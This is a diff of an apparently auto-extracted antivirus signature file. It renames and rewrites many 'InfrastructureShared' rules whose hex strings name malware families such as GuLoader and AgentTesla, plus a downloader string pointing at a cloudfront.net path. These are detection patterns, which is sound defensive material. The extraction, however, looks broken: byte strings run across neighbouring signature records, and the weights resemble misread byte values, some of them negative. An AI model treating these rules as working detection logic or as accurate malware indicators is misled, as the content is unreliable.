73 00 00 78 f0 00 00 0a 00 0a 00 06 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 6e 65 50 6c 61 74 66 6f 72 6d 2e 41 31 00 05 00 1e 01 52 65 70 6f 73 5c 44 53 2d 50 6c 61 74 66 6f 72 6d 5c 43 } //17153 - $a_6e_8 = {74 61 6c 6c 65 72 02 00 12 01 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 7a 62 64 01 00 0f 01 44 6f 77 6e 6c 6f 61 64 50 61 67 65 44 4c 4d 01 00 25 01 3c 42 55 54 54 4f 4e 5f 41 43 43 45 50 54 3e 41 63 63 65 70 74 3c } //28784 - $a_54_9 = {4f 4e 5f 41 43 43 45 50 54 3e 01 00 32 01 54 68 69 73 20 77 69 6c 6c 20 69 6e 73 74 61 6c 6c 20 7b 50 52 4f 44 55 43 54 5f 54 49 54 4c 45 7d 20 6f 6e 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 01 00 12 01 50 52 4f 44 55 43 54 5f 44 49 53 43 4c 41 49 4d 45 } //16943 + $a_64_5 = {75 69 6c 64 65 72 01 00 0c 81 01 42 69 6e 61 72 79 52 65 61 64 65 72 00 00 78 f0 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 52 21 4d 54 42 00 01 00 13 81 01 5c 6d 65 74 61 63 61 72 70 75 73 5c 63 69 6e 65 61 73 74 01 00 0c 81 01 44 72 69 6b 6b 65 6e 73 2e 6b } //26740 + $a_00_6 = {10 } //28271 + $a_65_7 = {61 74 69 6e 69 73 65 72 73 2e 65 76 65 01 00 11 81 01 6c 65 75 63 6f 62 72 79 61 63 65 61 65 2e 6a 70 67 01 00 15 81 01 6e 6f 62 65 6c 70 72 69 73 74 61 67 65 72 65 6e 73 2e 74 78 74 01 00 0f 81 01 70 72 6f 70 65 6c 6c 61 6e 74 73 2e 72 65 61 01 00 1c 81 01 5c 66 72 69 67 68 74 73 6f 6d 65 5c 52 61 64 69 6c } //385 + $a_73_8 = {65 38 2e 69 6e 69 01 00 1b 81 01 5c 70 6c 61 74 79 63 72 61 6e 69 61 6c 5c 49 6e 64 65 6b 73 65 72 65 2e 69 6e 69 00 00 78 f0 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4a 4b 32 34 39 21 4d 54 42 00 01 00 0b 81 01 43 61 65 73 61 72 53 68 } //26479 + $a_01_9 = {00 05 81 01 53 70 6c 69 74 01 00 16 81 01 43 6f 6c 6c 69 6e 73 53 65 6d 65 73 74 65 72 50 72 6f 6a 65 63 74 01 00 25 81 01 24 34 31 62 66 34 31 63 66 2d 33 32 31 65 2d 34 65 36 65 2d 61 31 62 36 2d 39 32 32 31 30 38 65 64 35 65 31 35 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 09 81 01 51 75 61 6e 4c 79 42 61 6e 01 00 08 81 01 47 69 61 79 2e 43 43 } //26217 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*385+(#a_64_2 & 1)*27499+(#a_00_3 & 1)*21581+(#a_01_4 & 1)*12642+(#a_64_5 & 1)*26740+(#a_73_6 & 1)*26988+(#a_6c_7 & 1)*17153+(#a_6e_8 & 1)*28784+(#a_54_9 & 1)*16943) >=7 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*385+(#a_64_2 & 1)*27499+(#a_00_3 & 1)*21581+(#a_01_4 & 1)*12642+(#a_64_5 & 1)*26740+(#a_00_6 & 1)*28271+(#a_65_7 & 1)*385+(#a_73_8 & 1)*26479+(#a_01_9 & 1)*26217) >=7 } -rule _InfrastructureShared_15585{ +rule _InfrastructureShared_16608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_46_0 = {54 45 53 54 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 54 56 4c 21 4d 54 42 00 01 00 16 81 01 54 62 76 67 61 65 65 61 72 6a 63 2e 50 72 6f 70 65 72 74 69 65 73 01 00 25 81 01 24 65 31 39 63 30 65 33 36 2d 34 65 66 37 } //16675 $a_66_1 = {2d 39 65 63 30 2d 32 32 32 63 35 65 37 33 61 62 31 62 01 00 0a 81 01 53 63 68 65 6d 61 53 70 65 63 01 00 17 81 01 50 64 66 53 68 61 72 70 2e 53 70 65 63 69 66 69 63 61 74 69 6f 6e 73 01 00 12 81 01 6d 6f 62 69 45 70 61 79 6a 2e 52 65 73 6f 6c 76 65 72 01 00 15 81 01 44 65 66 69 6e 65 44 79 } //13357 - $a_69_2 = {41 73 73 65 6d 62 6c 79 01 00 0d 81 01 4d 65 74 68 6f 64 42 75 69 6c 64 65 72 01 00 0c 81 01 42 69 6e 61 72 79 52 65 61 64 65 72 00 00 78 f0 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4a 4b 32 34 39 21 4d 54 42 00 01 00 0b 81 01 43 61 65 73 61 72 53 } //24942 - $a_74_3 = {00 05 81 01 53 70 6c 69 74 01 00 16 81 01 43 6f 6c 6c 69 6e 73 53 65 6d 65 73 74 65 72 50 72 6f 6a 65 63 74 01 00 25 81 01 24 34 31 62 66 34 31 63 66 2d 33 32 31 65 2d 34 65 36 65 2d 61 31 62 36 2d 39 32 32 31 30 38 65 64 35 65 31 35 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 09 81 01 51 75 61 6e 4c 79 42 } //26984 - $a_00_4 = {08 } //28257 - $a_69_5 = {79 2e 43 43 4d 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 28 81 01 43 6f 6c 6c 69 6e 73 53 65 6d 65 73 74 65 72 50 72 6f 6a 65 63 74 2e 66 72 6d 4d 61 69 6e 2e 72 65 73 6f 75 72 63 65 73 00 00 78 f0 00 00 0a 00 0a 00 } //385 - $a_23_6 = {4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 6e 65 50 6c 61 74 66 6f 72 6d } //6 LF:PUADlManager:Win32/OnePlatform - $a_00_7 = {05 00 1e 01 52 65 70 6f 73 5c 44 53 2d 50 6c 61 74 66 6f 72 6d 5c 43 70 70 49 6e 73 74 61 6c 6c 65 72 02 00 12 01 63 6c 6f 75 64 66 72 6f 6e 74 2e } //16686 + $a_69_2 = {41 73 73 65 6d 62 6c 79 01 00 0d 81 01 4d 65 74 68 6f 64 42 75 69 6c 64 65 72 01 00 0c 81 01 42 69 6e 61 72 79 52 65 61 64 65 72 00 00 78 f0 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 52 21 4d 54 42 00 01 00 13 81 01 5c 6d 65 74 61 63 61 72 70 75 73 5c } //24942 + $a_65_3 = {73 74 01 00 0c 81 01 44 72 69 6b 6b 65 6e 73 2e 6b 6f 6e 01 00 10 81 01 67 65 6c 61 74 69 6e 69 73 65 72 73 2e 65 76 65 01 00 11 81 01 6c 65 75 63 6f 62 72 79 61 63 65 61 65 2e 6a 70 67 01 00 15 81 01 6e 6f 62 65 6c 70 72 69 73 74 61 67 65 72 65 6e 73 2e 74 78 74 01 00 0f 81 01 70 72 6f 70 65 6c 6c 61 6e 74 73 2e 72 65 61 01 00 } //26979 + $a_5c_4 = {72 } //-32484 r + $a_74_5 = {6f 6d 65 5c 52 61 64 69 6c 6f 67 69 73 6b 65 38 2e 69 6e 69 01 00 1b 81 01 5c 70 6c 61 74 79 63 72 61 6e 69 61 6c 5c 49 6e 64 65 6b 73 65 72 65 2e 69 6e 69 00 00 78 f0 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4a 4b 32 34 39 21 4d 54 } //26473 + $a_00_6 = {0b } //66 + $a_61_7 = {73 61 72 53 68 69 66 74 01 00 05 81 01 53 70 6c 69 74 01 00 16 81 01 43 6f 6c 6c 69 6e 73 53 65 6d 65 73 74 65 72 50 72 6f 6a 65 63 74 01 00 25 81 01 24 34 31 62 66 34 31 63 66 2d 33 32 31 65 2d 34 65 } //385 condition: - ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*13357+(#a_69_2 & 1)*24942+(#a_74_3 & 1)*26984+(#a_00_4 & 1)*28257+(#a_69_5 & 1)*385+(#a_23_6 & 1)*6+(#a_00_7 & 1)*16686) >=8 + ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*13357+(#a_69_2 & 1)*24942+(#a_65_3 & 1)*26979+(#a_5c_4 & 1)*-32484+(#a_74_5 & 1)*26473+(#a_00_6 & 1)*66+(#a_61_7 & 1)*385) >=8 } -rule _InfrastructureShared_15586{ +rule _InfrastructureShared_16609{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 52 21 4d 54 42 00 01 00 13 81 01 5c 6d 65 74 61 63 61 72 70 75 73 5c 63 69 6e 65 61 73 74 01 00 0c 81 01 44 72 69 6b 6b 65 6e 73 2e 6b 6f 6e 01 00 10 81 01 67 65 6c 61 74 69 } //18467 + $a_65_1 = {73 2e 65 76 65 01 00 11 81 01 6c 65 75 63 6f 62 72 79 61 63 65 61 65 2e 6a 70 67 01 00 15 81 01 6e 6f 62 65 6c 70 72 69 73 74 61 67 65 72 65 6e 73 2e 74 78 74 01 00 0f 81 01 70 72 6f 70 65 6c 6c 61 6e 74 73 2e 72 65 61 01 00 1c 81 01 5c 66 72 69 67 68 74 73 6f 6d 65 5c 52 61 64 69 6c 6f 67 69 73 6b 65 38 2e 69 6e 69 01 00 1b 81 01 5c 70 6c 61 } //26990 + $a_72_2 = {6e 69 61 6c 5c 49 6e 64 65 6b 73 65 72 65 2e 69 6e 69 00 00 78 f0 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4a 4b 32 34 39 21 4d 54 42 00 01 00 0b 81 01 43 61 65 73 61 72 53 68 69 66 74 01 00 05 81 01 53 70 6c 69 74 01 } //31092 + $a_01_3 = {43 6f 6c 6c 69 6e 73 53 65 6d 65 73 74 65 72 50 72 6f 6a 65 63 74 01 00 25 81 01 24 34 31 62 66 34 31 63 66 2d 33 32 31 65 2d 34 65 36 65 2d 61 31 62 36 2d 39 32 32 31 30 38 65 64 35 65 31 35 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 09 81 01 51 75 61 6e 4c 79 42 61 6e 01 00 08 81 01 47 69 61 79 2e 43 43 4d 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 28 81 01 43 6f 6c 6c 69 6e 73 53 65 6d } //5632 + $a_65_4 = {50 72 6f 6a 65 63 74 2e 66 72 6d 4d 61 69 6e 2e 72 65 73 6f 75 72 63 65 73 00 00 78 f0 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 31 38 21 4d 54 42 00 01 00 0f 01 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 01 00 10 01 ba 51 3c 00 00 00 09 70 48 59 73 00 00 0e c4 00 01 } //29541 + $a_0e_5 = {c4 } //5376 + $a_0e_6 = {1b 00 00 00 29 49 44 41 54 38 4f 63 00 82 ff 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 0c 01 42 69 6e 64 69 6e 67 46 } //-27391 + $a_73_7 = {00 25 01 24 39 34 30 31 38 32 63 36 2d 63 62 39 33 2d 34 30 38 30 2d 39 64 33 63 2d 37 61 61 62 37 65 39 38 38 33 36 36 01 00 07 01 54 6f 57 69 6e 33 32 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 0d 01 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0c 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 00 00 78 f0 00 00 0a } //24940 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26990+(#a_72_2 & 1)*31092+(#a_01_3 & 1)*5632+(#a_65_4 & 1)*29541+(#a_0e_5 & 1)*5376+(#a_0e_6 & 1)*-27391+(#a_73_7 & 1)*24940) >=8 + +} +rule _InfrastructureShared_16610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4a 4b 32 34 39 21 4d 54 42 00 01 00 0b 81 01 43 61 65 73 61 72 53 68 69 66 74 01 00 05 81 01 53 70 6c 69 74 01 00 16 81 01 43 6f 6c 6c 69 6e 73 53 65 6d 65 73 74 65 72 50 } //18467 $a_65_1 = {74 01 00 25 81 01 24 34 31 62 66 34 31 63 66 2d 33 32 31 65 2d 34 65 36 65 2d 61 31 62 36 2d 39 32 32 31 30 38 65 64 35 65 31 35 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 09 81 01 51 75 61 6e 4c 79 42 61 6e 01 00 08 81 01 47 69 61 79 2e 43 43 4d 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 28 81 01 43 6f 6c 6c 69 6e 73 53 } //28530 - $a_73_2 = {65 72 50 72 6f 6a 65 63 74 2e 66 72 6d 4d 61 69 6e 2e 72 65 73 6f 75 72 63 65 73 00 00 78 f0 00 00 0a 00 0a 00 06 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 6e 65 50 6c 61 74 66 6f 72 6d 2e 41 31 00 05 00 1e 01 52 65 70 6f 73 5c 44 53 2d 50 6c 61 74 66 6f 72 6d 5c } //28005 - $a_49_3 = {73 74 61 6c 6c 65 72 02 00 12 01 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 7a 62 64 01 00 0f 01 44 6f 77 6e 6c 6f 61 64 50 61 67 65 44 4c 4d 01 00 25 01 3c 42 55 54 54 4f 4e 5f 41 43 43 45 50 54 3e 41 63 63 65 70 74 3c 2f 42 55 54 54 4f 4e 5f 41 43 43 45 50 54 3e 01 00 32 01 54 68 69 73 20 77 69 6c 6c 20 69 6e 73 74 61 6c 6c 20 7b } //28739 - $a_44_4 = {43 54 5f 54 49 54 4c 45 7d 20 6f 6e 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 01 00 12 01 50 52 4f 44 55 43 54 5f 44 49 53 43 4c 41 49 4d 45 52 00 00 78 f0 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //21072 - $a_6e_5 = {54 65 73 6c 61 2e 50 41 31 38 21 4d 54 42 00 01 00 0f 01 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 01 00 10 01 ba 51 3c 00 00 00 09 70 48 59 73 00 00 0e c4 00 01 00 15 01 0e c4 01 95 2b 0e 1b 00 00 00 29 49 44 41 54 38 4f 63 00 82 ff 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 0c 01 42 69 } //26433 - $a_6e_6 = {46 6c 61 67 73 01 00 25 01 24 39 34 30 31 38 32 63 36 2d 63 62 39 33 2d 34 30 38 30 2d 39 64 33 63 2d 37 61 61 62 37 65 39 38 38 33 36 36 01 00 07 01 54 6f 57 69 6e 33 32 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 0d 01 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0c 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 00 00 78 } //25710 + $a_73_2 = {65 72 50 72 6f 6a 65 63 74 2e 66 72 6d 4d 61 69 6e 2e 72 65 73 6f 75 72 63 65 73 00 00 78 f0 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 31 38 21 4d 54 42 00 01 00 0f 01 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 01 00 10 01 } //28005 + $a_00_3 = {00 00 09 70 48 59 73 00 00 0e c4 00 01 00 15 01 0e c4 01 95 2b 0e 1b 00 00 00 29 49 44 41 54 38 4f 63 00 82 ff 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 0c 01 42 69 6e } //20922 + $a_67_4 = {6c 61 67 73 01 00 25 01 24 39 34 30 31 38 32 63 36 2d 63 62 39 33 2d 34 30 38 30 2d 39 64 33 63 2d 37 61 61 62 37 65 39 38 38 33 36 36 01 00 07 01 54 6f 57 69 6e 33 32 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 0d 01 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0c 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 00 00 78 f0 00 00 0a 00 0a } //26980 + $a_52_6 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 36 35 21 4d 54 42 00 01 00 15 80 01 46 6c 79 69 6e 67 47 61 6d 65 2e 50 72 6f 70 65 72 74 69 65 73 01 00 0c 80 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 01 00 09 80 01 42 6c 6f 63 } //21320 + $a_70_7 = {01 00 0e 80 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 05 80 01 53 70 6c 69 74 01 00 0b 80 01 54 6f 43 68 61 72 41 72 72 61 79 01 00 13 80 01 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 01 00 09 80 01 47 65 74 4d 65 74 68 6f 64 01 00 06 80 01 49 6e 76 6f 6b 65 01 00 25 80 01 24 36 34 42 31 36 36 45 45 2d 44 37 } //17259 + $a_34_8 = {32 46 2d 39 43 37 31 2d 35 31 43 34 39 35 44 33 31 45 43 42 00 00 78 f0 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e } //12594 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28530+(#a_73_2 & 1)*28005+(#a_49_3 & 1)*28739+(#a_44_4 & 1)*21072+(#a_6e_5 & 1)*26433+(#a_6e_6 & 1)*25710) >=9 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28530+(#a_73_2 & 1)*28005+(#a_00_3 & 1)*20922+(#a_67_4 & 1)*26980+(#a_52_6 & 1)*21320+(#a_70_7 & 1)*17259+(#a_34_8 & 1)*12594) >=9 } -rule _InfrastructureShared_15587{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " - - strings : - $a_46_0 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 6e 65 50 6c 61 74 66 6f 72 6d 2e 41 31 00 05 00 1e 01 52 65 70 6f 73 5c 44 53 2d 50 6c 61 74 66 6f 72 6d 5c 43 70 70 49 6e 73 74 61 6c 6c 65 72 02 00 12 01 63 6c 6f 75 } //16675 - $a_6f_1 = {74 2e 6e 65 74 2f 7a 62 64 01 00 0f 01 44 6f 77 6e 6c 6f 61 64 50 61 67 65 44 4c 4d 01 00 25 01 3c 42 55 54 54 4f 4e 5f 41 43 43 45 50 54 3e 41 63 63 65 70 74 3c 2f 42 55 54 54 4f 4e 5f 41 43 43 45 50 54 3e 01 00 32 01 54 68 69 73 20 77 69 6c 6c 20 69 6e 73 74 61 6c 6c 20 7b 50 52 4f 44 55 43 54 5f 54 49 54 4c 45 7d 20 6f 6e 20 79 6f 75 72 } //26212 - $a_6d_2 = {75 74 65 72 01 00 12 01 50 52 4f 44 55 43 54 5f 44 49 53 43 4c 41 49 4d 45 52 00 00 78 f0 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 31 38 21 4d 54 42 00 01 00 0f 01 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 01 00 10 01 ba 51 3c 00 00 00 09 70 48 59 73 } //25376 - $a_c4_3 = {01 00 15 01 0e c4 01 95 2b 0e 1b 00 00 00 } //0 - $a_41_4 = {38 4f 63 00 82 ff 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 0c 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 01 00 25 01 24 39 34 30 31 38 32 63 36 2d 63 62 39 33 2d 34 30 38 30 2d 39 64 33 63 2d 37 } //18729 - $a_37_5 = {39 38 38 33 36 36 01 00 07 01 54 6f 57 69 6e 33 32 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 0d 01 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0c 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 00 00 78 f0 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 } //24929 - condition: - ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*26212+(#a_6d_2 & 1)*25376+(#a_c4_3 & 1)*0+(#a_41_4 & 1)*18729+(#a_37_5 & 1)*24929) >=10 - -} -rule _InfrastructureShared_15588{ +rule _InfrastructureShared_16611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -181312,7 +193446,7 @@ rule _InfrastructureShared_15588{ ((#a_54_0 & 1)*18467+(#a_38_2 & 1)*16708+(#a_32_3 & 1)*28265+(#a_48_5 & 1)*8448+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1) >=10 } -rule _InfrastructureShared_15589{ +rule _InfrastructureShared_16612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -181330,7 +193464,7 @@ rule _InfrastructureShared_15589{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*25455+(#a_2d_2 & 1)*17718+(#a_4d_3 & 1)*12880+(#a_61_4 & 1)*29797+(#a_44_5 & 1)*28261+(#a_4d_6 & 1)*11873+(#a_64_7 & 1)*26740+(#a_f0_8 & 1)*0) >=10 } -rule _InfrastructureShared_15590{ +rule _InfrastructureShared_16613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -181347,7 +193481,7 @@ rule _InfrastructureShared_15590{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*25970+(#a_72_2 & 1)*28531+(#a_39_3 & 1)*25124+(#a_65_4 & 1)*28534+(#a_48_6 & 1)*8448+(#a_90_7 & 1)*-24943+(#a_12_8 & 1)*256) >=10 } -rule _InfrastructureShared_15591{ +rule _InfrastructureShared_16614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0b 00 21 " @@ -181362,7 +193496,7 @@ rule _InfrastructureShared_15591{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26210+(#a_65_2 & 1)*31060+(#a_15_4 & 1)*27022+(#a_00_6 & 1)*102+(#a_00_9 & 1)*68) >=10 } -rule _InfrastructureShared_15592{ +rule _InfrastructureShared_16615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -181375,7 +193509,7 @@ rule _InfrastructureShared_15592{ ((#a_54_0 & 1)*18467+(#a_2a_1 & 1)*656+(#a_00_2 & 1)*-22984+(#a_6b_3 & 1)*24898) >=12 } -rule _InfrastructureShared_15593{ +rule _InfrastructureShared_16616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 07 00 21 " @@ -181389,7 +193523,7 @@ rule _InfrastructureShared_15593{ ((#a_63_0 & 1)*16931+(#a_00_2 & 1)*68+(#a_00_4 & 1)*105+(#a_89_5 & 1)*-29948+(#a_f6_6 & 1)*400) >=200 } -rule _InfrastructureShared_15594{ +rule _InfrastructureShared_16617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffea 03 ffffffea 03 04 00 21 " @@ -181401,7 +193535,7 @@ rule _InfrastructureShared_15594{ ((#a_54_0 & 1)*18467+(#a_8c_1 & 1)*-30394+(#a_98_2 & 1)*531) >=1002 } -rule _InfrastructureShared_15595{ +rule _InfrastructureShared_16618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -181411,7 +193545,7 @@ rule _InfrastructureShared_15595{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_15596{ +rule _InfrastructureShared_16619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -181421,7 +193555,7 @@ rule _InfrastructureShared_15596{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_15597{ +rule _InfrastructureShared_16620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -181432,7 +193566,7 @@ rule _InfrastructureShared_15597{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*17968) >=1 } -rule _InfrastructureShared_15598{ +rule _InfrastructureShared_16621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -181443,7 +193577,7 @@ rule _InfrastructureShared_15598{ ((#a_54_0 & 1)*18467+(#a_03_2 & 1)*514) >=1 } -rule _InfrastructureShared_15599{ +rule _InfrastructureShared_16622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -181456,7 +193590,7 @@ rule _InfrastructureShared_15599{ ((#a_30_0 & 1)*19747+(#a_00_2 & 1)*56+(#a_01_4 & 1)*8192+(#a_f6_6 & 1)*5120) >=1 } -rule _InfrastructureShared_15600{ +rule _InfrastructureShared_16623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -181472,7 +193606,7 @@ rule _InfrastructureShared_15600{ ((#a_5f_0 & 1)*25635+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_f1_6 & 1)*0) >=1 } -rule _InfrastructureShared_15601{ +rule _InfrastructureShared_16624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -181483,7 +193617,7 @@ rule _InfrastructureShared_15601{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-23804) >=2 } -rule _InfrastructureShared_15602{ +rule _InfrastructureShared_16625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -181493,7 +193627,7 @@ rule _InfrastructureShared_15602{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_15603{ +rule _InfrastructureShared_16626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -181504,7 +193638,7 @@ rule _InfrastructureShared_15603{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*112) >=2 } -rule _InfrastructureShared_15604{ +rule _InfrastructureShared_16627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -181519,7 +193653,7 @@ rule _InfrastructureShared_15604{ ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*21760+(#a_44_2 & 1)*11822+(#a_75_3 & 1)*21347+(#a_6f_4 & 1)*12082+(#a_44_5 & 1)*18754) >=2 } -rule _InfrastructureShared_15605{ +rule _InfrastructureShared_16628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -181534,7 +193668,7 @@ rule _InfrastructureShared_15605{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*24943+(#a_74_2 & 1)*25974+(#a_00_4 & 1)*68+(#a_74_5 & 1)*30063+(#a_20_6 & 1)*29801) >=2 } -rule _InfrastructureShared_15606{ +rule _InfrastructureShared_16629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -181546,7 +193680,7 @@ rule _InfrastructureShared_15606{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*367+(#a_68_2 & 1)*8293) >=3 } -rule _InfrastructureShared_15607{ +rule _InfrastructureShared_16630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -181558,7 +193692,7 @@ rule _InfrastructureShared_15607{ ((#a_54_0 & 1)*18467+(#a_00_1 & 